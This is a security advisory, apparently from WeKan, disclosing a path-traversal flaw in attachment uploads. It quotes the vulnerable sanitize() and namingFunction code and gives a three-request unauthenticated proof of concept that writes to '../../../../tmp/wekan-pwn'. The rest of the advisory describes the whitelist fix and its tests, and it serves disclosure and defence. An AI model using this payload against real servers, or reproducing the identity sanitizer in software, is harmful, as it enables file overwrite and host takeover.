| CVE | Vulnerability name | Date | Responsible Security Disclosure by | Vulnerabilities |
|---|---|---|---|---|
|
-
|
UploadPathBleed |
2026-09-09 |
xet7
![]() Found and fixed during an internal security review. |
|
Attachments are stored with ostrio:files, which builds the on-disk path from a
namingFunction callback and passes the id it will use through a sanitize()
callback first, on every upload transport (DDP _Start/_Write and the HTTP
__upload route alike):
// ostrio:files server.js (3.0.1)
opts.fileId = self.sanitize(opts.fileId, 20, 'a'); // _Start / _Write (DDP)
opts.fileId = this.sanitize(opts.fileId, 20, 'a'); // HTTP __upload
...
result.path = `${this.storagePath(result)}${nodePath.sep}${opts.FSName}${extensionWithDot}`;
WeKan's models/attachments.js configured both callbacks itself:
// models/attachments.js — before
namingFunction(opts) {
...
fileId = opts.fileId; // fully client-controlled on the server branch
const ret = fileId; // returned VERBATIM as the on-disk file name
return ret;
},
sanitize(str, max, replacement) {
// keep the original filename
return str; // identity — every character passes through
},
sanitize() here is never called on the human-readable file name at all - only on the internal
fileId/FSName tokens the library uses to build the physical path. An identity
function on that path meant a client-supplied fileId of
../../../../tmp/wekan-pwn reached result.path unchanged, and
WriteStream.init() then runs fs.mkdir(..., {recursive:true}) and
fs.writeFile on it with no containment check.
Neither the HTTP __upload route nor the DDP _Start/_Write methods
require an account: onBeforeUpload's only checks were file-type/name related, never
this.userId. The exploit is three plain HTTP requests, no credentials:
POST /cdn/storage/attachments/__upload
x-start: 1
{"file":{"name":"pwn.js","type":"text/javascript","meta":{}},
"fileId":"../../../../tmp/wekan-pwn","chunkSize":1024,"fileLength":25}
POST /cdn/storage/attachments/__upload
x-fileid: ../../../../tmp/wekan-pwn
x-chunkid: 1
POST /cdn/storage/attachments/__upload
x-fileid: ../../../../tmp/wekan-pwn
x-eof: 1
The traversal write is the whole vulnerability: whatever the WeKan process can write, an anonymous caller
can overwrite - Meteor bundle modules for remote code execution on the next restart, cron/systemd units,
or ~/.ssh/authorized_keys for host takeover; a random target file is a straightforward,
repeatable denial of service.
The fix. sanitize() is restored to a real whitelist - the same one
models/avatars.js already used for its own fileId/FSName tokens -
stripping everything but alphanumerics, underscore, dot and hyphen. File DISPLAY names are untouched: they
go through a separate sanitizer in onBeforeUpload, unaffected by this change.
namingFunction also validates the (now-sanitized) fileId against
/^[a-zA-Z0-9_-]{1,40}$/ - the ObjectId shape WeKan's own upload configuration always generates
(client/lib/attachmentUploadConfig.js) - and regenerates a fresh id with
Random.id() if it does not match, so a malformed or unexpected value can never reach the
filesystem at all.
A blocked attempt is recorded through the shared security log under a new
authz.upload-path/UploadPathBleed catalog key, so Admin Panel → Problems
shows it. tests/attachmentAvatarSecurityAdvisories.test.cjs pins the restored sanitizer
(including that the advisory's own PoC string can no longer contain a path separator afterward), the
fileId validation, and that the guard is logged.
Found and fixed during an internal security review, confirmed against the current source. Fixed at the upcoming WeKan release.